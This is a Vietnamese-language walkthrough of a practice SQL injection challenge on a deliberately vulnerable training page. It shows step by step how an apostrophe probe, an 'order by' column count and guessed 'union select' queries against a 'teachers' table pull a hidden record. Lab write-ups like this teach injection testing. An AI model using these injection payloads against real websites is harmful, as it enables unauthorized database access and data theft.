Li/blind_lvl6.php?serial=10

Hello im teaching hacking for money, want details?

Serial number of teacher: 10
Teacher: .....ZiXeM
Age:.....17
Price per 1 leeson: 50

Blind challenge
Task: Get the details of the teacher that his serial\id is 11.
The answer should look like that: http://i.imgur.com/AyZ7uYV.png
And not like that: http://i.imgur.com/RBkHPIN.png

I repeat: in this specific challenge - **You're NOT supposed to pull the version\db name. THIS IS BLIND SQL INJECTION**
You're supposed to pull information out of a table just by guessing the table name & its columns
(*note: using information_schema db is not allowed)...

---

good luck. -Zixem

Giao diện ban đầu của trang web yêu cầu ta cần lấy được thông tin về user có id=11.

SQLi/blind_lvl6.php?serial=10%27

Hello im teaching hacking for money, want details?

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Blind challenge

---

good luck. -Zixem

Thử kiểm tra input bằng cách thêm ', kết quả chứng tỏ là number.

.php?serial=10%20order%20by%205

Hello im teaching hacking for money, want details?

Unknown column '5' in 'order clause'

Blind challenge

---

good luck. -Zixem

Dùng order by để kiểm tra số cột của bảng. Đến order by 5 thì kết quả xuất hiện lỗi chứng tỏ có 4 cột.

?serial=10%20and%201=2%20union%20select%20*%20from%20users

Hello im teaching hacking for money, want details?

Thats not the table you need, try other name

Blind challenge

---

good luck. -Zixem

Vì chỉ được đoán tên table nên sẽ đoán thử, phổ biến nhất thì là users.

Payload: union select * from users

g/SQLi/blind_lvl6.php?serial=10%20and%201=2%20union%20select%20*%20from%20teachers

Hello im teaching hacking for money, want details?

Serial number of teacher: 10
Teacher: .....ZiXeM
Age:.....17
Price per 1 leeson: 50

Blind challenge
Task: Get the details of the teacher that his serial\id is 11.
The answer should look like that: http://i.imgur.com/AyZ7uYV.png
And not like that: http://i.imgur.com/RBkHPIN.png

I repeat: in this specific challenge - **You're NOT supposed to pull the version\db name. THIS IS BLIND SQL INJECTION**
You're supposed to pull information out of a table just by guessing the table name & its columns
(*note: using information_schema db is not allowed)...

---

good luck. -Zixem

Thử với tên là teachers thì thành công.

id_lvl6.php?serial=10%20and%201=2%20union%20select%20*%20from%20teachers%20where%20id=11

Hello im teaching hacking for money, want details?

Serial number of teacher: 11
Teacher: .....Nice One!
Age:.....You are pro blinder
Price per 1 leeson: .....Congratz

Blind challenge
Task: Get the details of the teacher that his serial\id is 11.
The answer should look like that: http://i.imgur.com/AyZ7uYV.png
And not like that: http://i.imgur.com/RBkHPIN.png

I repeat: in this specific challenge - **You're NOT supposed to pull the version\db name. THIS IS BLIND SQL INJECTION**
You're supposed to pull information out of a table just by guessing the table name & its columns
(*note: using information_schema db is not allowed)...

---

good luck. -Zixem

Để lấy được user với id=11 thì chỉ cần thêm where id=11 vào cuối query.

Payload: `union select * from teachers where id=11`